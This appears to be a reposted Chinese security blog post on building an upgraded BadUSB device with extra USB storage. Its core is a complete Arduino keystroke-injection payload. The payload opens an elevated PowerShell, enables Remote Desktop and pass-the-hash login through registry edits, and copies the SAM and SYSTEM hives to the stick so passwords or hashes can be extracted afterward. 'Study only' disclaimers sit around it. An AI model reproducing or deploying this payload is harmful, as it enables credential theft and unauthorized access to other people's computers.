给badusb升级一下

admin 2024年8月5日13:00:36评论10 views字数 2158阅读7分11秒阅读模式
        常见的BadUSB是一种利用修改USB设备固件进行攻击的技术。其主要危害包括数据窃取、自动安装恶意软件、获取系统控制权、模拟键盘输入执行恶意命令,以及发起网络攻击。这些攻击方式隐蔽且危险,对个人和企业的网络安全构成严重威胁。
        现在它还能通过USB接口提供额外的存储功能。这使得用户不仅可以远程控制设备,还能方便地传输和存储数据,提升了整体的实用性和便利性。
        增加u盘存储后,可以执行badusb指令后快速拷贝走想要文件,修改脚本也更加方便。以及可以针对不出网设备攻击。相反,成本也会比常规的badusb造价更贵。
        准备材料:mini的U盘、虚拟键盘Badusb、usbhub芯片、以及各种用到的贴片、电工三件套等等。
        电路板图:
        

给badusb升级一下

        制作成品图:
        

给badusb升级一下

        有人会问开关是用来干嘛的?当然是用来切换模式用的。分为正常u盘模式、badusb+u盘模式。
        上传测试代码,开启远程登录,读取注册表哈希文件,并开启哈希登录功能。如果更方便可以在u盘存放一个脚本,利用badusb调用。这样就不用每次烧写。
#include <Keyboard.h>void setup() {// put your setup code here, to run once:Keyboard.begin();delay(1000);Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);delay(500);Keyboard.press(KEY_LEFT_GUI);delay(500);Keyboard.press('r');delay(500);Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r');delay(500);Keyboard.println("cmd");delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(500);Keyboard.println("powershell.exe -command start-process powershell -verb runAs && exit");Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(500);Keyboard.press(KEY_LEFT_ARROW);Keyboard.println(KEY_LEFT_ARROW);Keyboard.press(KEY_LEFT_ARROW);Keyboard.release(KEY_LEFT_ARROW);delay(1000);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.println("");Keyboard.println("REG ADD HKLM\SYSTEM\CurrentControlSet\Control\RCMD\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f");delay(500);Keyboard.println("REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f");delay(500);Keyboard.println("$usbDrive = Get-WmiObject Win32_Volume | Where-Object { $_.DriveType -eq 2 } | Select-Object -ExpandProperty DriveLetter;");delay(500);Keyboard.println("reg save hklm\sam $usbDrive\sam.hive");delay(500);Keyboard.println("reg save hklm\system $usbDrive\system.hive");Keyboard.println("exit");Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.end();}
void loop() {// put your main code here, to run repeatedly:
}
        效果视频:
        拿回设备,就可以解析导出的文件,以此来获取密码或者哈希。用来登录目标机器~
文章声明:该工具、教程仅供学习参考,请勿非法使用。否则与作者无关!
        

 

 

原文始发于微信公众号(yudays实验室):给badusb升级一下

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日13:00:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   给badusb升级一下https://cn-sec.com/archives/2979523.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息